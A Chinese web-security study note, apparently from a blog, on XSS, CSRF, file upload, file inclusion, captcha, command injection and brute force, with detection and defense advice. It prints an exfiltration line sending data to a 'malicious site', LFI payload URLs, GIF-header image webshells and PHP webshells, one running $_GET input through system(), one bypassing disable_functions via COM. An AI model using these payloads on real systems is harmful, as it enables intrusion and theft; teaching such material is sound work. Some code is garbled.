admin管理员组

文章数量:1606473

(1) 修改php.ini文件,设置其值为1或TRUE;

(2) setcookie()函数和setrawcookie()函数的第七个参数;

(3)在PHP代码中开启。

7、Web安全编码规范:对敏感字符转义、URL属性进行相应的规定等。

8、尽量使用WAF

9、防御DOM型XSS:

DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:

(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;

(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到

CSRF(跨站伪造请求):

一、CSRF攻击获取数据的方法:

要获取的关键数据:用户 id、用户昵称、用户 email、用户个人页面地址等。

同域内 CSRF 攻击获取数据几乎没任何限制。

跨域 CSRF 攻击获取数据的几种方法总结如下:

1、XSS

2、服务端代理技术

3、JSON Hijacing

4、Flash AsctionScript(crossdomain.xml)

(1)XSS 获取数据:

如之前关于XSS文章做的三方的演示,使用目标站点上的XSS 漏洞:

’>

其中get.js 的代码为:

//use DOM method to get your data

new Image(). src=‘http://恶意站点/a.php?data=‘+data;

恶意站点的 a.php 文件接收唯一标识等数据,该唯一标识可以是 url 中的或是目标站点url 对应的内容中的。这样受害者就会访问到第三方的恶意网站从而泄露信息。

(2)使用 JSON Hijacking技术:

目标站点使用了 JSON 数据传输用户私有数据,其中包含需要的唯一标识等信息。

相关代码:

三、使用Flash ActionScript 脚本:

前提是目标站点下存在crossdomain.xml文件,且其配置允许其他域的 AS脚本进行跨域请求。

<?xml version="1.0"?>

相关代码:

import flash.*;

var _l = new URLLoader(new URLRequest(“http://目标站点/"));

_l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data});

_l.load();

二、检测方法:

最简单的方法就是抓取一个正常请求的数据包,去掉 Referer 字段后再重新提交,如果该提交还有效,那么基本上可以确定存在 CSRF 漏洞。

一些专门针对 CSRF 漏洞进行检测的工具,如CSRFTester,CSRF Request Builder 等。

以 CSRFTester 工具为例,CSRF 漏洞检测工具的测试原理如下:使用 CSRFTester 进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在 CSRFTester 中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF 漏洞,当然此款工具也可以被用来进行 CSRF 攻击。

三、防御方法:

1、 服务端的防御:主要有 5 种策略:验证 HTTP的Referer字段、在请求地址中添加 token 并验证、在 HTTP 头中自定义属性并验证、使用POST替代GET等。

(1)、验证 HTTP的Referer字段,在 HTTP 头的Referer字段记录了该 HTTP 请求的来源地址。顺便解决了非法盗链、站外提交等问题。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。

(2)、在请求地址中添加 token 并验证,可以在 HTTP请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。抵御 CSRF 攻击的关键在于:在请求中加入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。

(3)、在 HTTP 头中自定义属性并验证,也是使用 token 并进行验证,但并不是把 token以参数的形式置于 HTTP 请求而是放到 HTTP 头中自定义的属性里。通过XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把token 值放入其中。这样解决了前一种方法在请求中加入 token 的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会通过 Referer 泄露到其他网站。

(4)、严格区分好 POST 与 GET 的数据请求,尽量使用POST来替代GET,如在 asp 中不要使用 Request 来直接获取数据。同时建议不要用 GET 请求来执行持久性操作。

(5)、使用验证码或者密码确认方式,缺点是用户体验差。

2、 用户端的防御:用户的安全意识与良好的上网习惯。

3、 安全设备的防御:有些厂商的安全产品能基于硬件层面对HTTP 头部的 Referer 字段内容进行检查来快速准确的识别 CSRF 攻击。

File Upload(文件上传漏洞):

一、文件上传攻击分类:

1、轻量级检测绕过攻击:

(1)绕过javascript 对扩展名的检测:

使用Burpsuite等反向代理工具直接POST数据包到服务端,绕过前端检测,如DVWA中的绕过示例。

(2)绕过服务端对http request 包MIME 类型检测:

使用Burpsuite等反向代理工具伪造POST 数据包到服务端,绕过MIME检测,如DVWA中的绕过示例。

2、文件内容检测绕过攻击:

文件加载测试绕过:对文件进行代码注入再配合任意解析调用/漏洞。

3、上传攻击框架漏洞分层以及路径/扩展名检测绕过攻击:

轻量级检测绕过攻击
绕过JavaScript对扩展名的检测
绕过服务端对HTTP request包MIME类型检测

路径、扩展名检测绕过攻击
黑名单绕过
文件名大小写绕过 名单列表绕过 特殊文件名绕过 0x00截断绕过 .htaccess文件攻击 PHP文件包含漏洞 Apache解析漏洞 IIS解析漏洞 Nginx解析漏洞

4、文件内容检测绕过攻击:

文件加载绕过 (代码层漏洞)

攻击手法与环节如图:

二、上传文件中的解析攻击:

1、直接解析(几乎没有防御):

比如直接上传一个扩展名是.php 的文件,只需要简单地绕过客户端javascript 检测或者服务端MIME 类型检测就行了。

2、配合解析(有一定程度的防御):

可以理解为先将代码注入到服务器上,上传一个带有一句话木马的图片或文件,等待一个解析的配合来实现攻击。

(1)、本地文件包含解析:主要是PHP本地文件包含

(2)、.htaccess文件解析

(3)、Web应用程序解析漏洞以及其原理:

1.Apache 解析漏洞:

解析: test.php.abc(其中abc为任意不属于黑名单且也不属于Apache解析白名单的名称)

描述:一个文件名为x1.x2.x3的文件,Apache 会从x3的位置往x1的位置开始尝试解析,如果x3不属于Apache能解析的扩展名,那么Apache会尝试去解析x2的位置,这样         一直往前尝试,直到遇到一个能解析的扩展名为止。

2.IIS 解析漏洞:

解析:test.asp/abc 或 test.asp;abc 名 或 abc/def.php (其中abc、def都为任意文件名)

描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;“会优先按asp来解析;IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL 后面追加上字符串”/任意文件名.php"就会按照php的方式去解析。

3.Nginx 解析漏洞:

解析:abc/def.php 或 abc%00.php (其中abc、def都为任意文件名)

描述:目前Nginx 主要有这两种漏洞,一个是对任意文件名,在后面添加/abc.php 的解析漏洞,如原本文件名是test.jpg则可以添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx 可以在任意文件名后面添加%00.php 进行解析攻击。

4.解析漏洞总结:

Apache的扩展名顺序解析漏洞:Apache自身的漏洞

IIS的asp 解析漏洞:IIS自身的漏洞

Nginx的%00 解析漏洞:Nginx自身的漏洞

php-cgi的默认配置漏洞:这类以CGI 形式调用php的web 应用程序主要出现在IIS和Nginx;而Apache 通常是以module 的形式去调用php,所以很少出现该类型漏洞。

三、检测方法:

简单点的方法就是直接上传各种类型的文件,再通过Burpsuite修改各个可以绕过的检测内容来检测。

四、防御方法:

简单的防御方法为:获取文件扩展名进行白名单对比,然后对文件进行重命名。当然若存在解析漏洞等容易被绕过,具体点的防御方法如下:

1、客户端JavaScript检测:通常为检测文件扩展名)

2、服务端MIME 类型检测:检测Content-Type内容)

3、服务端目录路径检测:检测跟path参数相关的内容

4、服务端文件扩展名检测:检测跟文件extension 相关的内容

(1) 黑名单检测:

  1. 文件名大小写绕过:如 AsP,pHp。

  2. 名单列表绕过:用黑名单里没有的名单,如 asa 或 cer 等。

  3. 特殊文件名绕过:比如发送的 http 包里把文件名改成 test.asp. 或 test.asp (后面为空格),这种命名方式在 Windows系统里是不能直接修改的,需要在Burpsuite等代理中进行修改,然后绕过验证后,会被Windows系统自动去掉后面的点和空格,但也只能用在Windows系统中。

  4. 0x00 截断绕过

  5. 双扩展名解析绕过攻击:

(1)基于Web服务的解析逻辑:如果上传一个文件名为help.asp.123,扩展名123 不在扩展名黑名单中也没在Apache 可解析扩展名列表中,此时会向前搜寻下一个可解析的扩展名,若搜寻到.php,则会以php 执行。

(2) 基于Web服务的解析方式:如果在Apache的conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是test2.php.jpg也会以php 来执行。

  1. 危险解析绕过攻击:基于Web服务的解析方式:如果在Apache 的conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是jpg,一样能以php 方式执行。

  2. .htaccess 文件攻击:配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测。

  3. 解析调用/漏洞绕过:直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞

(2) 白名单检测:

  1. 0x00 截断绕过:如test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击

  2. 解析调用/漏洞绕过:直接配合上传一个代码注入过的白名单文件,再利用解析调用/漏洞

  3. .htaccess文件攻击:无论是黑名单还是白名单都可以直接攻击.htaccess 文件

如果PHP 安全没配置好,就可以通过move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的,这样就能任意定义解析名单了。

5、服务端文件内容检测(检测内容是否合法或含有恶意代码) :

(1)文件幻数检测:

主要是检测文件内容开始处的文件幻数,要绕过的话需要在文件开头写上检测的值,比如图片类型的文件幻数如下:

JPG文件:

GIF文件:

PNG文件:

然后在文件幻数后面加上代码即可。

(2)文件相关信息检测:

图像文件相关信息检测常用的就是getimagesize()函数,需要把文件头部分伪造好,就是在幻数的基础上还加了一些文件信息,结构如下:

GIF89a

(…some binary data for image…)

<?php phpinfo(); ?>

(… skipping the rest of binary data …)

(3)文件加载检测:

一般是调用API 或函数去进行文件加载测试,常见的是图像渲染测试,甚至是进行二次渲染(过滤效果几乎最强)。

对渲染/加载测试的攻击方式:代码注入绕过,可以用图像处理软件对一张图片进行代码注入,但文件结构是完整的,渲染测试基本上都能绕过。用winhex查看数据可以分析出这类工具的原理是在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区。

对二次渲染的攻击方式:攻击文件加载器自身,常见的就是溢出攻击,上传恶意文件后服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode比如access/mdb 溢出;二次渲染相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了。

示例代码:

function image_gd_open($file, $extension) {

$extension = str_replace(‘jpg’, ‘jpeg’, $extension);

$open_func = ‘imageCreateFrom’. $extension; //函数名变成imageCreateFrompng  之类

if (!function_exists($open_func)) {

return FALSE;

}

return o p e n _ f u n c ( open\_func( open_func(file); //变成imagecreatefrompng(‘/tmp/php0lbTOn’)

}

File Include(文件包含漏洞):

一、文件包含漏洞的利用技巧:

包含漏洞上传技巧:

一般将一句话木马和图片进行绑定上传。

包含读文件:

如http://10.10.10.128/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php

包含写文件:

构造URL:http://10.10.10.128/dvwa/vulnerabilities/fi/?page=php://input,并且提交POST数据为:<?php system('net user');?>等

包含日志文件:

当存在PHP本地文件包含漏洞,但无法上传正常文件时,可以利用Apache日志文件。Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中,例如:

http://10.10.10.128/dvwa/vulnerabilities/fi/?page=…/…/…/…/Apache-20\logs\access.log

PHP内置的协议:

二、检测方法:

找到有包含函数的页面,对函数内容进行替换查看结果;

可以使用工具来代替手工的过程,如Kadimus、Burpsuite的插件LFI scanner checks等;

白盒测试时,可以在源代码中查看allow_url_fopen、allow_url_include等敏感函数是否开启。

三、防御方法:

1、严格判断包含中的参数是否外部可控。

2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“…/”。

3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。

4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include(“head.php”)”。

5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。

Insecure Captcha(不安全的验证码):

一、原理过程:

1.客户端发起一个请求

2.服务端响应并创建一个新的 SessionID 同时生成一个随机验证码

3.服务端将验证码和 SessionID 一并返回给客户端

4.客户端提交验证码连同 SessionID 给服务端

5.服务端验证验证码同时销毁当前会话,返回给客户端结果

二、验证码的安全问题:

客户端问题:

1、 客户端生成验证码:验证码由客户端 JS生成并且仅仅在客户端用JS验证。

2、 验证码输出客户端:输出在HTML中,不应该把验证码的内容发送到客户端 cookie 或输出到response headers的其他字段中。

3、 验证码输出在 cookie 中:有些系统默认不显示验证码,而是在用户校验错误一定次数之后再出现。那如何判断用户已经错误几次了呢?若是如下判断:

(1)在 cookie 中写入一个标记,比如 loginErr = 1,后续错误累加

(2)在 session 中写入一个标记,例如 loginErr = 1,后续错误累加

这样问题在于,要是攻击者不带 Cookie 提交 HTTP 请求或不更新 Cookie中 loginErr 的值反复提交,这样程序会因为无从获取 Cookie/sessionID,会认为攻击者是首次访问,从而验证码不会出现。

服务器端问题:

1、 验证码不过期,没有及时销毁会话导致验证码复用

2、 没有进行非空判断

3、 产生的验证码问题集内的答案非常有限

三、检测方法:

简单的方法,先是手工登录几次,查看是否出现验证码以及验证码是否失效,然后再通过Burpsuite来进一步测试。

四、防御方法:

1、 强制要求输入验证码,否则必须实施 IP 策略。注意不要被 X-Forwarded-For(用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段) 绕过了。

2、 验证码只能用一次,用完立即过期。

3、 验证码强度增强,使用扭曲、变形、干扰线条、干扰背景色、变换字体等。

4、 大网站最好统一安全验证码,各处使用同一个验证码接口。

Command Injection(命令注入漏洞):

一、PHP与命令执行漏洞相关的函数:

1、PHP的5种命令执行函数:system()、exec()、passthru()、shell_exec()、``运算符

eval()函数注入攻击,将参数字符串作为PHP 程序代码来执行,用户可以将 PHP 代码保存成字符串的形式,然后传递给 eval 函数执行。

PHP中的preg_replace()函数、str_replace()函数以及call_user_func()函数同样可以实现eval 注入攻击的效果。preg_replace()函数的作用是用来执行常规表达式的查找和替换的,当替换内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。

2、命令执行小集:

<?php
$cmd="system";
ob_start($cmd);
echo "$_GET[cunlide]";
ob_end_flush();
echo "<br>";
system("$_GET[cunlide]");
echo "<br>";
echo exec("$_GET[cunlide]");
echo "<br>";
echo shell_exec("$_GET[cunlide]");
echo "<br>";
echo passthru("$_GET[cunlide]");
echo "<br>";
echo `$_GET[cunlide]`;
?>

3、PHP后门木马常用的函数类型:

执行系统命令:system, passthru, shell_exec, exec, popen, proc_open

代码执行与加密:eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

文件包含与生成:require,require_once,include,  include_once,file_get_contents, file_put_contents, fputs, fwrite

.htaccess:SetHandler, auto_prepend_file, auto_append_file

二、绕过disable_functions的方法:

禁止 webshell 执行命令原理:PHP配置文件里的disable_functions =  配置,用来禁止某些 php 函数。

1、 黑名单绕过

2、 系统组件绕过(Windows):

<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell');   // 生成一个 COM 对象
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>

Shell.Application 也可以实现同样的效果。

彻底的解决方案是直接删除 System32 目录下 wshom.ocx 文件。

3、 扩展库绕过:Linux下可通过编译拓展库进行绕过。

防御方法:将dl函数加入disable_function中禁用。

使用PHP突破Disable_functions执行Linux命令:linux 的 webshell 管理员禁用了exec,system,passthru,popen,shell_exec等等 PHP 执行命令函数,导致不能执行命令,php 提供了一个扩展模块功能,使用 dl 函数能包含一个扩展模块。类似.so或者想windows下的 dll 文件。可以自定义函数来调用 linux 命令而无视Disable_functions的限制。

在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给 create_function()执行任意命令。

三、检测方法:

基于黑盒的测试:简单点就是直接手工在输入内容之后添加各种分号或其它可以绕过的符号再添加命令,最后查看返回结果判断。

基于白盒的测试:查看源代码,搜索与执行PHP代码的函数如eval、assert和执行系统命令的函数如system、passthru等。

四、防御方法:

1、尽量不要执行外部的应用程序或命令。

2、使用自定义函数或函数库实现外部应用程序或命令的功能。

3、在执行 system、eval 等命令执行功能的函数前,确定参数内容。

4、使用 escapeshellarg ()函数和escapeshellcmd()函数处理相关用户输入的内容。escapeshellarg() 函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“””会被转义为“\””,分号“ ;”会被转义为“;”,这样 escapeshellarg 会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。escapeshellcmd()函数会转义内容中的所有shell元字符来进行防御,这些元字符包括:# $ ; , \ ’ | ? * ~ < > ^ ( ) [ ] { }

5、使用 safe_mode_exec_dir 执行可执行的文件路径。将 php.ini 文件中的 safe_mode 设置为 On,然后将允许执行的文件放入一个目录中,并使用 safe_mode_exec_dir 指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在 safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。

Brute Force(暴力破解):

一、暴力破解分类:

1、C/S架构暴力破解:

主要使用的破解工具Hydra、Bruter、X-scan

2、B/S架构暴力破解:

使用Burpsuite镜像表单爆破

二、检测方法:

简单粗暴的方法,直接使用Burpsuite进行暴力破解,看看有没有什么防暴破的机制即可。

三、防御方法:

1、设置复杂的密码

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

本文标签: 漏洞笔记LeaksServerVersion